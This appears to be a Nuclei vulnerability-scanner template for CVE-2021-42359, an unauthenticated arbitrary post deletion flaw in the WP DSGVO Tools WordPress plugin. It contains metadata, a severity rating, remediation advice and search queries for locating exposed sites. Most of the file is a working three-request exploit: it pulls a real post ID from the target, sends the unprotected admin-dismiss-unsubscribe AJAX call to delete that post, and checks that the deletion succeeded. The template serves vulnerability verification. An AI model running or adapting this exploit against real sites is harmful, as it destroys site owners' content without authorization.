id: CVE-2021-42359

info:
  name: WP DSGVO Tools (GDPR) <= 3.1.23 - Unauthenticated Arbitrary Post Deletion
  author: daffainfo
  severity: high
  description: |
    WP DSGVO Tools (GDPR) <= 3.1.23 had an AJAX action, ‘admin-dismiss-unsubscribe‘, which lacked a capability check and a nonce check and was available to unauthenticated users, and did not check the post type when deleting unsubscription requests. As such, it was possible for an attacker to permanently delete an arbitrary post or page on the site by sending an AJAX request with the “action” parameter set to “admin-dismiss-unsubscribe” and the “id” parameter set to the post to be deleted. Sending such a request would move the post to the trash, and repeating the request would permanently delete the post in question.
  impact: |
    Unauthenticated attackers can permanently delete arbitrary WordPress posts and pages by exploiting the unprotected admin-dismiss-unsubscribe AJAX action.
  remediation: |
    Upgrade to WP DSGVO Tools version 3.1.24 or later.
  reference:
    - https://www.wordfence.com/blog/2021/11/vulnerability-in-wp-dsgvo-tools-gdpr-plugin-allows-unauthenticated-page-deletion/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42359
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2021-42359
    epss-score: 0.0393
    epss-percentile: 0.89011
    cwe-id: CWE-862,CWE-284
    cpe: cpe:2.3:a:legalweb:wp_dsgvo_tools:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: legalweb
    product: wp_dsgvo_tools
    framework: wordpress
    fofa-query: body="/wp-content/plugins/shapepress-dsgvo/"
    publicwww-query: "/wp-content/plugins/shapepress-dsgvo/"
  tags: cve,cve2021,wp,wordpress,wp-plugin,dsgvo,intrusive,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{route}}"

    attack: clusterbomb
    payloads:
      route:
        - "wp-json/wp/v2/posts"
        - "?rest_route=/wp/v2/posts"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "[{\"id", "name\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: post_id
        internal: true
        json:
          - '.[0].id'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=admin-dismiss-unsubscribe&id={{post_id}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/{{route}}"

    attack: clusterbomb
    payloads:
      route:
        - "wp-json/wp/v2/posts"
        - "?rest_route=/wp/v2/posts"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - '!contains(body, "\"id\":{{post_id}}")'
        condition: and
# digest: 490a0046304402206fd8f287e879ea3dff20fc5e95c5dc200a616b02f82f1bf34a07381c922765220220436d3ee9dc325950748f9b6cec0c3f15e4a688c9f4b68967a7d168c331c45436:922c64590222798bb761d5b6d8e72950